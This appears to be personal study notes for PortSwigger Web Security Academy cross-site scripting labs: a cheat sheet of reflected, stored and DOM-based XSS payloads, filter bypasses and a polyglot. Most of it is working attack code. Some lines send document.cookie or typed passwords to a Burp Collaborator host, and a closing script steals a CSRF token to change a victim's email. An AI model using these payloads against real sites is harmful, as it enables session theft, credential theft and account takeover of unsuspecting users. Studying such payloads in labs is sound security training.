https://portswigger.
net/web-security/cross-site-scripting/cheat-sheet
Burp Pro Deep Active Scan detects simple Reflected XSS:
![[Pasted image 20240229102907.png]]
Also DOM Based Basic
![[Pasted image 20240229105537.png]]
Send TO Victim Payloads:
```
<iframe src="https://0ae8000403c2b63d86144f3a00cb009a.web-security-academy.net/#"
onload="this.src+='<img src=x onerror=print()>'"></iframe>
<script>
location="https://0aa8009904d13c3980295dc300300029.web-security-academy.net/?
search=<xss autofocus tabindex=1 onfocusin=alert(document.cookie)></xss>"
</script>
(stored)
<script>
location="https://burpcolaborator/?leaked=" + document.cookie;
</script>
<a href=# onclick="window.open('https://0aa8009904d13c3980295dc300300029.web-
security-academy.net/?search=<xss autofocus tabindex=1
onfocusin=alert(document.cookie)></xss>')">XSS</a>" (user interaction required)
(create a form and fetch passwd)
<input name=username id=username> <input type=password name=password
onchange="if(this.value.length)fetch('https://BURP-COLLABORATOR-SUBDOMAIN',
{ method:'POST', mode: 'no-cors', body:username.value+':'+this.value });">
```
Payloads
```
<script>alert(1)</script>
<img src=x onerror=alert(1)>
(attribute with angle brackets encoded)
j1kde"onfocus="alert(1)"autofocus="ava00
"onmouseover="alert(1)
(javascript string with angle brackets encoded):
17762';alert(1)//824
'-alert(1)-'
backslash instead of encoding:
(var tracker={track(){}};tracker.track('http://pito.com');-alert(1)//');)
http://pito.com?'-alert(1)-'
http://pito.com');-alert(1)//
template literals with encodings:
${alert(1)}
also magic polyglot:
JavaScript://%250Aalert?.(1)//'/*\'/*"/*\"/*`/*\`/*%26apos;)/*<!--></Title/</
Style/</Script/</textArea/</iFrame/</noScript>\74k<K/contentEditable/autoFocus/
OnFocus=/*${/*/;{/**/(alert)(1)}//><Base/Href=//X55.is\76-->
```
HTML ENCODINGS:
https://www.degraeve.com/reference/specialcharacters.php
DOM
```
-> location.search query + Document.write (Burp Scan)
window.location.search)).get('search')
document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
payload = '"><script>alert(1)</script>
-> location.search + innert.html (Burp Scan)
query = (new URLSearchParams(window.location.search)).get('search')
document.getElementById('searchMessage').innerHTML = query;
payload = <img src=x onerror=alert(1)>
-> jquery anchor href + location.search (Burp Scan)
href", (new URLSearchParams(window.location.search)).get('returnPath'));
payload = ?returnPath=javascript:alert(document.cookie)
-> hashchange event in jquery (Burp Scan)
hashchange', function(){ var post = $('section.blog-list h2:contains(' +
decodeURIComponent(window.location.hash.slice(1)) + ')')
payload = https://.../#<img src=1 onerror=alert(1)>
-> document.write with location.search param
&storeId="><script>alert(1)</script>
-> angular JS prior to 1.8 vulnerable to:
{{constructor.constructor('alert(1)')()}}
-> html.replace('<', '<').replace('>', '>'); in a string, single occurrence
<><img src=x onerror=alert(1)>
```
More elaborated DOM:
![[Pasted image 20240303164438.png]]
```
\"}-alert(1)//
```
Stored:
```
Check for hrefs: javascript:alert(1)
Check for str.replace: <> <img...
```
Banned tags:
use brute force of tag, and event with the cheatlist
![[Pasted image 20240303170455.png]]
Custom Tags:
![[Pasted image 20240303233054.png]]
```
<custom-tag onmouseover=alert(1)> (user interaction)
<xss id=x onmouseover=alert(document.cookie) tabindex=1> (user interaction)
GOD:
<xss autofocus tabindex=1 onfocusin=alert(document.cookie)></xss>
<custom-tag autofocus tabindex=1 onfocusin=alert(document.cookie)></xss>
svg markup:
<svg><animatetransform onbegin=alert(1) attributeName=x dur=1s>
```
Custom exceptions:
```
-> <link rel="canonical" href="https://example.com/page" />
Param reflected ex: <link rel="canonical" href="https://example.com/page?param" />
?'accesskey='x'onclick='alert(1) (required ALT+X / ALT+SHIFT+X)
```
![[Pasted image 20240304112343.png]]
XSS + CSRF
```
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/my-account/change-email', true);
changeReq.send('csrf='+token+'&[email protected]')
};
</script>
```
